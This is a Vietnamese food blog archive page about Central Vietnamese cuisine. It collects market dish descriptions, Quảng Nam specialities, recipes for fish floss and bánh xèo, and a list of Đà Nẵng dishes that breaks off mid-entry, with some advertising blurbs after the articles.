Archive : Ẩm thực miền trung

RSS feed
NHỮNG MÓN NGON MIỀN TRUNG

NHỮNG MÓN NGON MIỀN TRUNG

Lòng xào nghệ Nổi bật nhất trong những món Quảng Nam tại chợ Bà Hoa có lẽ là lòng xào nghệ. Chỉ cần đi ngang hàng ăn vặt ở góc chợ này, chẳng ai có thể kìm lòng mà không ngồi sà vào để nhấm nháp hương vị đặc sắc của đĩa lòng dai dai, béo béo đậm đà. Từ tốn nhâm nhi, bạn sẽ cảm nhận mùi thơm của nghệ lan toả cùng chút hăng the làm bật lên hương vị món ăn. Đĩa lòng xào dân dã trên nền vàng tươi của nghệ nhấn nhá thêm cọng hẹ xanh mướt hay miếng ớt đỏ tươi chỉ cần nhìn thôi cũng đủ thòm thèm. Hấp dẫn nhất là khi bẻ miếng bánh tráng nướng rồi xúc lòng vào thật đầy, vừa nhai vừa cảm nhận cái giòn thơm, béo bùi đan xen hài hoà làm vị giác bừng tỉnh hẳn. Mỗi phần ăn có giá tầm 30k – 50k tuỳ theo số lượng bạn gọi. Mít trộn Hầu như rất khó để tìm một hàng mít trộn đúng vị miền Trung ngay giữa lòng Sài Gòn nên đã đến chợ Bà Hoa thì đừng bỏ qua món ăn vặt độc đáo này. Sợi mít non vừa chín tới được luộc mềm rồi trộn cùng với tôm khô, rau răm, hành phi… tạo nên đĩa gỏi ăn chơi đầy kích thích. Rưới thêm nước mắm tỏi ớt để hoà quyện thêm chút mặn ngọt, cay the nữa là đã “quá đủ cho một cuộc tình”. Vị ngọt bùi, béo béo cùng mùi thơm của hỗn hợp trộn thanh thanh, giòn giòn chắc chắn sẽ chinh phục mọi khẩu vị. Không quá cầu kì trong hình thức nhưng món gỏi mít trộn này đã níu giữ biết bao người Sài Gòn khi khám phá ẩm thực miền Trung tại ngôi chợ nhỏ này. Bánh đập Ai đã đến Hội An thì chắc hẳn đều nghe đến cái tên bánh đập. Người ta sẽ dùng lớp bánh ướt mỏng trải lên chiếc bánh tráng nướng giòn rồi dùng lực tay đập cho chúng quện vào nhau. Để tăng thêm độ hấp dẫn, khi ăn bánh đập không thể thiếu làm mỡ hành rưới đều bên trên cùng chén mắm nêm đậm đà. Nghe đơn giản là thế nhưng một lần nếm trải, bạn sẽ bị ấn tượng bởi hương vị độc đáo, khác lạ của món. Khi ăn, lớp bánh tráng vừa giòn vừa thơm mùi bột hoà quyện cùng lớp bánh ướt mềm ẩm làm cổ họng sảng khoái trong vị ngọt mát hấp dẫn. Chấm vào phần mắm nêm cay the nồng nàn, chắc hẳn hương vị mặn mòi đậm đà này sẽ làm bạn nhớ mãi. Các loại gỏi Nhiều người cho rằng, muốn thưởng thức hết các loại gỏi đặc sắc của miền Trung thì cứ việc ghé chợ Bà Hoa. Bởi vì chỉ một gian hàng thôi cũng đủ là bạn choáng ngợp với vô vàn sự lựa chọn hấp dẫn như gỏi da bê, lưỡi heo ngó sen, lá sách bò hấp gừng, lưỡi bò bóp thấu… Mỗi món làm người ta say mê với từng tầng hương vị riêng. Nếu như tai heo sần sật thấm đượm cùng chút chua thanh dìu dịu thì lưỡi bò hay lá sách lại dai dai càng nhai càng say mê. Chiều chiều rảnh rang ghé đến đây mà nhấm nháp hương vị ngọt giòn tinh tế của mấy đĩa gỏi này thì còn gì lí tưởng hơn. Mỗi phần gỏi có mức giá từ 20k – 60k tuỳ theo khẩu phần ăn của thực khách. Hến trộn Hội An Khác hẳn với các món hến đậm đà ở Sài Gòn, hến trộn Hội An làm người ta say đắm với vị ngọt dai hoà quyện với độ cay the tinh tế từ sả ớt. Những con hến bé tí được luộc chín rồi xào cùng với các loại gia vị, hành, rau… trông mộc mạc nhưng lại hấp dẫn đến lạ. Món này đúng điệu nhất khi ăn cùng với bánh tráng nướng, xúc hến lên rồi rưới thêm chút mắm, vừa nhai vừa cảm nhận từng tầng hương vị giao hoà trọn vẹn. Hến mềm mại, càng ăn càng thấy ngọt, lại thêm độ giòn của bánh tráng đan xen tinh tế khơi dậy mọi giác quan. Mỗi phần hến trộn nóng hổi chỉ có giá tầm 20k – 30k mà thôi, có dịp ghé chợ thì nhớ “đánh chén” thử nhé.
0
Miền Trung – Ẩm Thực Xứ Quảng

Miền Trung – Ẩm Thực Xứ Quảng

Từ xa xưa, bà con nông dân vùng trung du xứ Quảng đã biết tận dụng những thổ sản, sản vật trong chính mảnh vườn, thửa ruộng của mình để phục vụ cuộc sống và trong những ngày lễ hội, đại hỷ… Với cách chế biến dân dã, biến những sản vật bình thường thành những món ngon khiến thực khách ăn một lần nhớ mãi khôn nguôi. Nguyên liệu chính của không gian này là những sản vật như chuối, mít non, nếp, thịt heo, thịt gà, cá đồng gừng, tiêu, những thức uống được chế biến, ngâm tẩm từ những sản vật vườn, rừng Tiên Phước như rượu nếp cái hương bầu, rượu lòn bon, chuối hột, nấm lim xanh, rượu ong vò vẽ những sản vật mà ta dễ dàng tìm thấy trong những ngôi nhà bình dân của người Tiên Phước. Nem chua lá liễu, chuối chần: Có thể nói, đây là món khai vị chân quê nhưng ngon và ấn tượng. Những trái chuối chần được tạo hình như những con chim Lạc, với điểm xuyến của nem chua, dưa chua tạo thành một biểu tượng của trống đồng Đông Sơn, đặc trưng của văn hóa Việt cũng là hình ảnh để chúng ta tri ân và tôn vinh những giá trị văn hóa ngàn năm dựng nước của tiên tổ tiền nhân. Vị nồng thơm của tiêu Tiên Phước, vị chát của quả chuối non và vị chua được lên men tự nhiên như điểm xuyến trong món ăn này sẽ kích thích thực khách ngon miệng trong cả thực đơn. Nem chua lá liễu với chuối chần không chỉ là món khai vị ấn tượng mà còn là lễ vật không thể thiếu trong các dịp lễ hội, cỗ bàn, vì vậy trong dân gian Tiên Phước vẫn còn câu ca: Nem chua lá liễu xứ Tiên/ Một chung rượu nhạt kết nguyền ba sinh. Món mít trộn: Vùng đất Tiên Phước vốn trồng nhiều mít nên có những món ăn từ quả non đến quả già và thậm chí là mít chín. Từ xa xưa, mít trộn là món ăn được nhiều người ưa thích và không thể thiếu trong các cổ tiệc. Chính vì vậy mít non đã trở thành hình ảnh của người bình dân xưa qua câu ca truyền miệng: Nhón chân kêu bớ nậu nguồn/ Mít non gửi xuống cá chuồn gửi lên/ Cá chuồn nhờ gió bay lên/ Mít non chẳng thấy hay quên cá chuồn. Món bánh xèo ong: Ong vò vẽ ở vùng trung du khá nhiều, người dân thường đi bắt tổ ong lấy nhộng làm thức ăn. Nhộng ong là loại thức ăn tính hàn và hàm chứa lượng calo cao, giàu vitamin, khoáng chất và các nguyên tố vi lượng. Lá lốt vị nồng, tính ấm, công dụng ôn trung; tán hàn trị đầy hơi, khó tiêu… Chính vì vậy bánh xèo ong quấn lá lốt càng làm cho mùi vị của ong được thăng hoa, giúp cho người ăn cảm nhận được mùi nồng thơm của lá lốt vị ngọt ngào của nhộng vị béo của bánh xèo, một cách thưởng thức món ăn độc lạ càng giúp cho thực khách ngon miệng và đảm bảo sức khỏe. Hấp dẫn món bánh xèo nhộng ong Món mì Quảng: Mì Quảng được vinh danh là một trong 12 món ăn Việt Nam đạt tiêu chí “Giá trị Ẩm thực châu Á”. Trong tất cả các nguyên liệu để nấu mì thì gà là lựa chọn số một. Để có một nồi mì thật sự thơm ngon thì nguyên liệu cần có là gà thả vườn Tiên Phước, cùng với nén (Cùng họ với hành, tỏi nhưng có mùi thanh và cay hơn), sả và dầu lạc. Mùi thơm từ nồi mì Quảng bốc lên thì thật “đi xa ai cũng muốn về, sắc quê hội tụ hồn quê dạt dào”. Món cá đồng hấp gừng sốt ngũ sắc: Cá đồng là món ngon dân dã quen thuộc có thể thấy nhiều nơi ở vùng quê Quảng Nam. Cá đồng hấp gừng là sự kết hợp rất tinh tế vì mùi gừng có thể làm tan đi mùi tanh của cá, người ăn sẽ cảm nhận được vị thơm ngon của cá đồng. Đĩa cá được điểm xuyến hình ảnh các loài thủy sinh, rong rêu trên đồng ruộng, người chế biến món ăn độc đáo này muốn nhắn gửi một hình ảnh làng quê hiền hòa, muôn vật có thể sinh sôi nảy nở một không gian sinh thái xanh, sạch hiền hòa. Món gà hầm muối Món gà hầm muối: Gà tơ thả vườn thịt chắc làm sạch để nguyên con đem hầm muối sống. Qui trình làm cũng khá công phu, để gà chín bởi hơi xông lên từ muối, thơm mùi sả, chanh nhưng thịt gà không bị ướt. Nếu ăn một miếng quí vị chắc sẽ cảm nhận trọn vẹn ý nghĩa của câu ca truyền miệng: “Nhất gái Tiên Hà, nhì gà Tiên Lãnh”. Món gỏi bòn bon: Bòn bon là trái cây đặc sản của Tiên Phước. Người ta chọn trái bòn bon quả to, chín cây, có màu vàng tươi, cùi dày và giòn để làm gỏi. Cách làm gỏi bòn bon tuy đơn giản nhưng lại đòi hỏi sự khéo léo. Trước hết, cần tách riêng từng múi bòn bon khỏi vỏ. Dùng móng tay cái ấn mạnh vào đáy quả để vỏ bòn bon bung ra, khi đó dễ dàng tách múi, bỏ hạt. Trộn thịt ba chỉ, tôm, ớt, tỏi, hành phi và một bát nước mắm ngon với bòn bon đã tách thành từng múi, cuối cùng rắc đậu phộng và vừng lên trên. Gỏi bòn bon ăn kèm với bánh phồng tôm nữa thì rất ngon. Món gỏi bòn bon Bánh chần gừng: Đây là loại bánh chỉ có thể tìm thấy ở vùng quê Tiên Phước. Để thực hiện một đĩa bánh đẹp mắt là một quá trình công phu và khéo léo của gia chủ. Thời gian thực hiện được một đĩa bánh có thể mất đến 20 ngày. Vì vậy bánh chần gừng là loại bánh kỳ công, bánh quí trong mâm lễ của người dân từ bao đời nay. Trong dân gian vẫn còn truyền nhau câu ca rằng: Dẻo thơm nếp cũng nghĩa tình/ Cay gừng dặn bạn giữ mình thủy chung. Theo langvietonline.vn ————————————- Công ty Két Sắt Toàn cầu Két sắt toàn cầu là đơn vị tiên phong trong lĩnh vực két sắt tại Việt Nam trong 10 năm qua, với hệ thống cửa hàng rộng khắp cả nước và đặc biệt là hơn 20 cửa hàng tại TP. HCM, chúng tôi cam kết mang đến quý khách hàng những sản phẩm tốt nhất, chất lượng nhất trên thị trường về két sắt chống cháy, két sắt chống đập, chống phá, két sắt xuất khẩu, an toàn và tiện ích để bảo vệ tài sản của bạn. —> Xem thêm tại: két sắt an toàn | KS Toàn Cầu —> Xem thêm tại: https://ketsattoancau.com/ket-sat-han-quoc-truly-tl-47/
0
Tự làm ruốc cá thật đơn giản mà ngon ngay tại nhà

Tự làm ruốc cá thật đơn giản mà ngon ngay tại nhà

Phương pháp làm ruốc cá lóc phải làm thế nào cho thơm ngon, tơi xốp mà không bị tanh là chủ đề được số đông người quan tâm. Khi đã ngán với các thực phẩm chế tác bình thường từ cá tươi sống, thì chúng ta hoàn toàn có thể thực hiện chà xát bông cá lóc để đổi thay khẩu vị cho gia đình. Đặc thù, bé yêu nhà bạn sẽ thích mê thực phẩm vặt có thể nhâm nhi mỗi ngày này cho mà coi. Hôm nay, hãy vào bếp cùng Webnauan.vn trổ tài thực hiện ruốc cá lóc cho gia đình cùng thưởng thức nhé. 1. Chất liệu thực hiện chà bông cá lóc Biện pháp làm ruốc cá lóc là một trong những cơ chế nấu ăn tận dụng được nguồn dinh dưỡng dồi dào, cùng Lam vị thơm ngon từ cá lóc tươi. Cá lóc còn có tên gọi khác là cá quả. Để món chà xát bông tạo ra được ngon nhất, mọi người nên lựa những con cá lóc to màu đen, tươi sống, thịt chắc. Nếu sắm được cá lóc đồng thì càng ngon. Các thành phần vật liệu thực hiện ruốc cá lóc cần: Cá lóc: 1 con nặng nề chừng 1 kg. Nước mắm loại ngon: 1 muỗng canh Hạt nêm: 1 thìa cà phê vật liệu gia vị: Hành tím, gừng tươi, củ tỏi. Rượu trắng 2. Biện pháp làm xát bông cá lóc thơm ngon và không tanh 2.1. Bước 1: Sơ chế cá lóc và vật liệu Cá lóc mua về đánh bệnh vảy da cá thật kỹ càng, mổ bụng bỏ hết nội tạng, cắt bỏ làn da, Rồi cắt miếng tầm 2 cm. Sử dụng chanh tươi cọ sát để cho hết nhớt của cá. Bạn chớ nên sử dùng muối để rửa nhớt cho cá nhé, bởi nó sẽ tiến hành cá ra nhớt không ít thêm. Sau đó, rửa sạch cá lại bằng nước Sau đó chúng ta triển khai loại bỏ mùi tanh cho cá. Cho rượu trắng và gừng tươi vò nát vào ướp cùng cá lóc khoảng 30 phút để xóa bỏ bớt mùi tanh, hôi, chất nhờn. 2.2. Thao tác 2: Luộc cá chín Xếp cá đã từng ướp lúc nãy vào nồi hấp. Đổ thêm khoảng 1/3 chén rượu trắng bên cạnh một chút gừng cắt miếng vào nồi. Bắc nồi lên trên bếp, bật lửa to, hấp phương pháp thủy khoảng 15 đến 20 phút để cá chín kỹ càng. 2.3. Bước 3: Gỡ phần thị cá Cá sau khi chín vớt ra để nguội. Sử dùng tay gỡ thịt cá, dùng nhíp gỡ nhỏ các tế bào xương nhỏ lẫn trong thịt cá. Để đảm bảo an toàn làm sạch đồ ăn, bạn cần phải rửa tay thật sạch khi gỡ cá. Cực kì tốt là dùng găng tay nilon khi thực hành tiến trình này. Dùng tay bóp thịt cá hơi nhuyễn ra, đừng bóp thịt cá quá nát. Hay, bạn sử dùng cối để tán nhẹ thịt cá ra cũng được. Song để ý thay đổi lực tay vừa phải, đừng nên giết cá quá nát. Vì Như vậy thì sẽ khó tạo ra được xát bông cá lóc như hoài vọng 2.4. Bước 4: biện pháp làm xát bông cá lóc Bắc chảo lên bếp cho một tí dầu ăn vào. Khi dầu nóng thì cung cấp nhánh tỏi, hành tím vào phi thơm. Tiếp đó, đổ phần thịt cá vào sao bằng lửa nhỏ, đảo đều tay cho cá thấm gia vị. Đồng thời, nêm thêm nước mắm, tiêu, hạt nêm tùy theo khẩu vị của bạn và gia đình nhé. Khi sao, bạn hãy sử dùng muôi/ muỗng xát thịt cá lên mặt chảo để cá được tơi và bông. đến khi xuất hiện thịt cá cứng, tơi bông, có màu vàng tươi đẹp mắt là bạn đã hoàn tất món chà xát bông này Rồi. Tùy thuộc khẩu vị mỗi gia đình mà mọi người có thể sao thật cứng hay còn ướt ướt nhé. Nếu sao càng cứng thì càng bảo quản được lâu hơn. 3. Giải pháp làm ruốc cá lóc bằng máy giã sinh tố Giải pháp làm chà bông với máy nghiền sinh tố giúp cho bạn rút ngắn được thời kì chế tác ruốc cá lóc. Trước mắt, lưu ý chọn lựa loại máy nghiền có mũi nhựa, chọn lựa mức tán không cao nhất để không giết thịt cá – vốn vô cùng mềm nhũn – bị nát nhuyễn. Cực kì tốt, bạn cần phải canh bật tắt ON/OFF máy giã liên tiếp để điều chỉnh mức độ tơi thịt cá như ý muốn là được. thực hiện chà bông cá bằng máy giã giúp cho dành dụm khoảng thời gian và công sức hơn. Sau khi loại bỏ tanh, sơ chế đầy đủ, bạn gỡ thịt cá ra. Sau đó tổng hợp gừng tươi, nhánh tỏi ướp đều thịt cá, cho vào máy tán mức nhỏ nhất. Khi thịt tơi nhỏ ra Sau đó thì bạn cho lên chảo thực hiện giải pháp làm ruốc cá lóc sao với chảo như chỉ dẫn Trên đây. Biện pháp làm chà xát bông cá lóc bằng máy nghiền sinh tố Tuy nhanh, thuận tiện, song không được nhiều người khuyến khích sử dùng. Vì như đã kể, thịt cá cực kỳ xìu. Tốt hơn, chúng ta vẫn cần hấp cá với rượu bằng gừng tươi để xóa bỏ tuyệt đối mùi tanh, Sau đó sao như bình thường để tránh làm chà bông nát vụn. 4. Biện pháp bảo quản chà bông cá lóc Chà bông sau khi tiến hành xong mọi người để nguội Tiếp đó mới trút vào hũ sạch sẽ, đậy nắp lại. Cách làm ruốc cá lóc muốn áp dụng được lâu thì cần bảo quản nơi thoáng mát, hạn chế tia tử ngoại trực tiếp nhé. Trong lúc tổng hợp ra ăn, các bạn phải áp dụng đũa sạch và khô để gắp chà bông ra. Tránh để chà bông tiếp xúc rất nhiều với không khí làm mất vị thơm ngon, nhanh bị hút ẩm và hư hỏng. Vậy là chúng ta đã từng thực hiện xong 2 biện pháp làm ruốc cá lóc thơm ngon, bỗ dưỡng này Sau đó. Với món ngon mỗi ngày này, chúng ta có thể ăn kèm bằng cơm hoặc cháo đều vô cùng ngon, dùng làm món ăn vặt thì càng tuyệt hơn. Bằng lợi thế bảo quản được lâu, cần mọi người hoàn toàn có thể mang theo trong chuyến du lịch, hay dã ngoại dài ngày của gia đình rất tiện đó. Nếu không hài lòng cá lóc, bạn có thể áp dụng hướng dẫn trên làm ruốc cá thucũng vô cùng đơn giản. Vị cá thu vừa ăn, dễ dàng khiến những bé bị nghiện. Chúc các bạn triển khai công thức nấu ăn này thành công để tận hưởng các bữa cơm ngon bên người nhà, tri kỷ nhé!
0
Bánh xèo miền Trung ăn là ghiền cùng Dạy Làm Bánh Á Âu

Bánh xèo miền Trung ăn là ghiền cùng Dạy Làm Bánh Á Âu

Bánh xèo miền Trung vàng ruộm, thơm ngon từ lâu đã trở thành món ăn không thể thiếu trong đời sống của người Sài Gòn. Những chiếc bánh xèo ngon đúng chuẩn đã chinh phục vị giác không biết bao nhiêu thực khách. Hôm nay cùng Dạy Làm Bánh Á Âu tìm hiểu công thức làm món bánh xèo miền Trung dân dã mà đậm đà hương vị quê hương này các bạn nhé! Bánh xèo miền Trung khiến thực khách yêu mến bởi có lớp vỏ giòn tan, phần nhân tôm thịt kèm giá đỗ tỏa mùi hương hấp dẫn. Thêm một chén nước chấm cay cay, chua ngọt nữa là bảo đảm sẽ khiến bất kỳ ai cũng phải phát thèm. Món bánh xèo vàng ruộm Nguyên liệu 200g bột gạo 200g thịt bò 100ml bia 250ml nước 50ml nước cốt dừa 1/2 thìa café bột nghệ ½ thìa café muối Hành lá, dầu ăn 200g tôm 100g giá đỗ 1 củ hành tây Nước mắm Gừng, hành khô, tiêu, gia vị Hướng dẫn Bước 1: Bạn lấy một cái âu sạch, cho bột gạo, muối, bột nghệ vào âu, sau đó trộn đều lên. Cho thêm 250ml nước, 50ml nước cốt dừa, 100ml bia để hòa tan bột. Khuấy đều tay cho các nguyên liệu hòa quyện lại. Tôm đem rửa sạch, cắt râu, ướp với hành khô, gia vị, gừng. Thịt bò bạn đem rửa sạch, thái mỏng, ướp dầu ăn, gia vị, hạt tiêu, tỏi, gừng. Hành lá đem rửa sạch, xắt nhỏ. Cho phần hành lá này vào cùng với bột, thêm dầu ăn rồi để bột nghỉ trong khoảng 30 phút. Bước 2: Chuẩn bị một cái chảo sạch, làm nóng dầu ăn, cho hành tây vào xào, nêm chút gia vị rồi cho tôm vào đảo chung, sau đó bạn cho thịt bò vào xào. Khi hỗn hợp chín bạn tắt bếp, múc ra dĩa. Bước 3: Cho tiếp một ít dầu ăn vào chảo, chờ cho thật nóng rồi khéo léo đổ bột láng khắp chảo cho thật mỏng, dùng vung đậy lại trong khoảng nửa phút. Sau nửa phút, bạn cho nhân và giá lên, tiếp tục đậy vung thêm 2 phút nữa. Sau đó gập đôi bánh lại, chờ cho giòn vàng đều 2 mặt thì lấy bánh ra. Làm lần lượt cho đến khi hết phần nhân và bột bánh. Bánh xèo được ăn kèm các loại rau sống Bước 4: Hành tây đem rửa sạch, thái hình múi cau. Các loại giá đỗ, rau sống, cải xanh cũng đem nhặt rửa sạch, để ráo. Pha nước chấm theo tỷ lệ: 1.5 mắm, 5 nước, 2 đường, 1 nước cốt chanh. Bạn có thể gia giảm lại cho vừa miệng, sau đó thêm tỏi, ớt băm vào. Khi ăn bạn cuốn bánh xèo với rau sống, dùng kèm nước mắm. Với món bánh xèo miền Trung tuyệt ngon này, bạn có thể chiêu đãi cả nhà trong những ngày họp mặt, cuối tuần hoặc những dịp đặc biệt, vừa khiến mọi người hài lòng lại chứng tỏ được tài khéo tay của bạn. Nếu còn chưa biết cách làm bánh xèo hoặc muốn làm bánh ngon chuẩn vị để kinh doanh, bạn cũng có thể tham gia chuyên đề bánh xèo – bánh khọt tại Dạy Làm Bánh Á Âu để nâng tầm tay nghề mình nhé! Website: https://daylambanh.edu.vn/ Tên Thương hiệu: Dạy Làm Bánh Á Âu Mô tả: Trường dạy làm bánh chuyên nghiệp với các khóa học làm bánh như: bánh kem, bánh mì, bánh Nhật, bánh Âu, bánh Việt cùng đội ngũ giảng viên hàng đầu Việt Nam. Chương trình từ cơ bản đến nâng cao, đáp nhu cầu học nghề bánh đi làm hoặc mở tiệm với học phí phù hợp, lịch học linh động. Phone: 1800 6148 Địa chỉ: 473 Sư Vạn Hạnh, Phường 12, Quận 10, Hồ Chí Minh, Việt Nam Mail: [email protected]
0
15 Món Ngon Đà Nẵng Mà Du Khách Nhất Định Phải Thử

15 Món Ngon Đà Nẵng Mà Du Khách Nhất Định Phải Thử

Đà Nẵng là điểm du lịch hấp dẫn không chỉ bởi cảnh quan đẹp như phim hay những bãi biển xinh đẹp mà còn hấp dẫn bởi những món ăn ngon đặc trưng mang đậm nét ẩm thực miền Trung. Vậy ăn gì ở Đà Nẵng? Đà Nẵng có những quán ăn ngon nào? Trong bài viết này, hãy cùng chúng tôi tìm hiểu 15 món ngon Đà Nẵng nhất định phải thử khi ghé thăm thành phố biển xinh đẹp này nhé! 1. Bún mắm nêm Đà Nẵng Về hình thức, bún mắn nêm Đà Nẵng tương tự như món bún trộn của miền Bắc. Điều làm nên nét khác biệt chính là thứ mắm nêm đậm đà làm từ cá biển rất đặc trưng tại Đà Nẵng. Sự kết hợp của bún, mắm nêm cùng với những nguyên liệu khác như thịt heo quay giòn, rau thơm, hay ba chỉ luộc, tai heo, nem chua… tạo nên hương vị vô cùng hấp dẫn. Nếu muốn nếm thứ bún mắm nêm hảo hạng của Đà Nẵng, phố Trần Kiến Xương chắc chắn nên nằm trong lịch trình ghé thăm Đà Nẵng của bạn. 2. Bún thịt nướng Tương tự mắm tôm, không phải ai cũng thích mùi vị mắm nêm. Vậy sao bạn không thử món bún thịt nướng cũng “hot” không kém. Thịt được thái lát mỏng, tẩm ướp gia vị thơm ngon rồi nướng trên than hồng. Thịt vừa chín tới, không hề khô mà mềm ướt ăn cùng với bún rất ngon. Để thưởng thức món bún thịt nướng ngon đúng vị, bạn có thể ghé quán Bún mắm Bà Thuyên (K424/03 đường Lê Duẩn) hoặc ghé qua Chợ Hàn, Chợ Cồn. 3. Bánh kẹp Bánh kẹp sẽ là món ngon đường phố không nên bỏ qua. Nhìn có vẻ bình thường và không có gì đặc biệt nhưng đây là món ăn được rất nhiều du khách ưa thích, đặc biệt là các bạn trẻ. Món này là những tấm bánh tráng kết hợp với trứng, khô bò, pa tê… lúc chiên hay nướng lên có mùi thơm hấp dẫn. Để nếm thử món ăn đường phố hấp dẫn này, bạn có thể ghé quán Bánh kẹp Hoa (đường Đông Giang, Q.Sơn Trà), quán Dì Hoàng (đường Điện Biên Phủ, Q.Thanh Khê) hay Bánh tráng nướng (cuối đường Đào Duy Từ, đối diện Chợ Cồn) 4. Bánh tráng đập Đây vốn là món ăn dân dã của người dân miền Trung. Bánh làm từ miếng bánh tráng gạo dày và được nướng giòn, trải lên một lớp bánh ướt, mềm dải và chút đậu phộng, hành lá phi thơm và chấm với mắm thơm nồng đặc trưng. Bạn có thể ghé 47 Đỗ Quang, Q. Thanh Khê hay quán Bà Tứ ở đường Lê Duẩn, Q.Hải Châu để thưởng thức món bánh này. 5. Bánh bèo, nậm, lọc, ít trần Nghe có vẻ giống với các loại bánh Huế nhưng các loại bánh bèo, bánh nậm, bánh lọc, ít trần ở Đà Nẵng lại được biến tấu theo phong cách riêng của mình. Từ lá gói cho đến phần nhân nên thực khách sẽ cảm nhận được nét đặc trưng riêng. Nếu muốn thử xem chúng khác biệt như thế nào, bạn có thể ghé thăm Bánh bèo Bà Bé (đường Hoàng Văn Thụ, Q.Hải Châu) hay Quán Vân (đường Thanh Tịnh, Q.Liên Chiểu) hoặc ghé đường Núi Thành, Q.Hải Châu để thưởng thức. 6. Cơm gà Đà Nẵng Cơm gà là món ăn đặc sản của vùng Đà Nẵng – Quảng Nam. Đây là lựa chọn hấp dẫn của du khách bốn phương. Bằng nhiều cách chế biến khác nhau, chẳng hạn như: cơm gà xé, cơm gà quay, gà luộc, gà xối mỡ… kèm theo bát canh và chén đồ chua ăn kèm trông rất ngon lành. Một số địa chỉ cơm gà “ngon mê ly” tại Đà Nẵng bạn nên thử: Cơm gà Ngọc Diệp (56 Hải Phòng, quận Hải Châu), Cơm gà A Hải (94 Thái Phiên, quận Hải Châu) hay Cơm gà Hồng Ngọc (106 Nguyễn Chí Thanh, quận Hải Châu). 7. Ốc Đến Đà Nẵng vào bất cứ mùa nào trong năm bạn đều dễ dàng nhâm nhi món đặc sản “ngon, bổ, rẻ này. Bạn có thể thưởng thức nhiều loại ốc khác nhau, từ ốc gạo, ốc hương cho đến ốc đinh, ốc đắng,… được chế biến hấp dẫn với mùi thơm khó cưỡng. Bạn có thể ghé qua Ốc hút “đĩa bay” (đường 2/9, đối diện nhà thi đấu đĩa bay) hay Ốc hút Cô Hà (ngã tư Ông Ích Khiêm – Hùng Vương, Q.Hải Châu)… để thưởng thức ngay những món ốc đủ loại đặc trưng của Đà Nẵng. 8. Bánh tráng cuốn thịt heo Bánh tráng cuốn thịt heo có nguyên liệu đơn giản nhưng lại làm “say đắm” biết bao thực khách đến với thành phố Đà Nẵng bởi những nét độc đáo riêng. Bánh tráng cuốn thịt heo ở Đà Nẵng đặc biệt bởi những miếng thịt heo mềm, mỏng, bì ngậy, có miếng mỡ dọc theo thớ thịt và kèm lớp da ở hai đầu. Một số quán bánh tráng thịt heo hai đầu da nổi tiếng có thể kể tới là Quán Trần (4 Lê Duẩn, quận Hải Châu) và Quán Mậu (35 Đỗ Thức Tịnh, quận Cẩm Lệ) 9. Mít trộn Đà Nẵng Đối với người dân Đà Nẵng thì mít trộn đã là một món ăn vặt vô cùng quen thuộc. Mít non được luộc chín rồi xé sợi, cùng với bì heo luộc, thịt ba rọi thái mỏng được trộn đều cùng với rau răm, húng, rắc chút đậu phộng và hành phi. Tất cả tạo nên một món ăn có màu sắc cực bắt mắt và mùi thơm quyến rũ. Đến với Đà Nẵng thì nhớ ghé quán mít trộn “Bà Già” nổi tiếng hơn 30 năm tại  47/25 đường Lý Thái Tổ, quận Hải Châu hoặc quán Mít trộn Dì Anh tại 34 Phạm Văn Nghị, quận Thanh Khê. 10. Hải sản tươi ngon Tất nhiên khi đến với Đà Nẵng thì không thể không nhắc đến hải sản. Sẽ thật là thiếu sót nếu như đến du lịch tại thành phố biển như Đà Nẵng mà lại bỏ qua cơ hội thưởng thức những món hải sản phong phú, hấp dẫn. Vừa tươi rói, vừa ngon, giá cả lại phải chăng. Tôm, cua, cá, mực, ghẹ, hàu… đang chờ đón bạn đấy! Bạn có thể ghé qua Hải sản Bà Thôi (đường Lê Đình Dương, Q. Hải Châu), Nhà hàng Mỹ Hạnh (Hoàng Sa, Phước Mỹ, Q. Sơn Trà) hay Hải sản Kỳ Em (đường Hồ Nghinh, Q. Sơn Trà) để thưởng thức những món hải sản tươi ngon của thành phố Đà Nẵng. 11. Bánh xèo – Nem lụi Một trong những món ăn du khách không thể bỏ qua trong chuyến du lịch Đà Nẵng là bánh xèo – Nem lụi. Bánh có vỏ vàng ươm hấp dẫn, giòn rụm bọc với các loại nhân như giá, thịt, tôm. Khi ăn được cuốn trong bánh trắng cùng nhiều loại rau sống như: rau xà lách, rau cải, dưa chuột, chuối xanh, dứa…chấm vào các loại mắm, tương đậm đặc siêu ngon của Đà Nẵng. Khi nhắc tới bánh xèo Đà Nẵng thì không thể “bỏ quên” những xiên nem lụi hấp dẫn làm từ thịt nạc thăn quấn nhuyễn và nướng đều trên bếp than hồng thơm phức. Bạn có thể tìm ăn bánh xèo món ăn ngon ở Đà Nẵng tại Quán Bà Dưỡng (K280/23 Hoàng Diệu, quận Hải Châu) hoặc quán cô Mười (23 Châu Thị Vĩnh Tế, quận Ngũ Hành Sơn) 12. Mì Quảng Chẳng nơi đâu du khách có thể thưởng thức món mì Quảng ngon “quên đường về” như ở Đà Nẵng, Hội An. Những sợi mì to bản trông rất thô nhưng vị lại dai dai, thanh mát rất hấp dẫn. Nước mì Quảng không đầy tràn như các món bún phở khác mà chỉ xâm xấp nhưng thơm cay, đậm đà nhờ bí quyết pha chế và gia giảm đặc biệt. Ăn mì Quảng nhất định phải có các loại rau sống như cải con, búp chuối thái mỏng… ngoài ra không thể thiếu dĩa ớt xanh, đậu phụng quê rang, bánh đa, miếng chanh và chén nước mắm nguyên chất. Để thưởng thức món món mì Quảng ngon đúng điệu, bạn có thể ghé quán Mì Quảng Bà Mua (đường Trần Bình Trọng, Đống Đa, Lê Hồng Phong… Q. Hải Châu), Mì Quảng Người Đà Nẵng (đường 2 Tháng 9, Q. Hải Châu) hay dãy mì Quảng trên đường Lê Đình Dương, phía đuôi Cầu Rồng… 13. Gỏi cá Nam Ô Ăn một lần món gỏi cá Nam Ô của phố biển Đà Nẵng sẽ khiến du khách nhớ “cả đời” bởi hương vị tuyệt vời của nó. Món gỏi được làm từ cá trích từ làng cá Nam Ô và được tẩm ướp đậm đà. Nước chấm gỏi cá được pha chế sền sềt với vị bùi bùi của đậu phộng, cay cay của ớt rất đặc biệt và hấp dẫn. Gỏi cá ăn kèm với chuối xanh, khế chua cùng với các loại rau sống và bánh tráng. Khi ăn thì gấp cá cùng các loại rau sống lên bánh tráng, cuộn lại chấm với nước mắm ngon khó cưỡng, ăn hết cuốn này đến cuốn khác mà không hề ngán. Có 2 địa chỉ Quán Gỏi Cá Nam Ô Đà Nẵng bạn nên tìm đến thưởng thức: Quán Gỏi Nam Ô (972 Nguyễn Lương Bằng, quận Liên Chiểu) và Quán Gỏi Cá Thanh Hương (1029 Nguyễn Lương Bằng, quận Liên Chiểu) 14. Nem tré Đà Nẵng Ở Đà Nẵng nem tré được làm từ thịt heo thái sợi ướp cùng với riềng và các loại gia vị 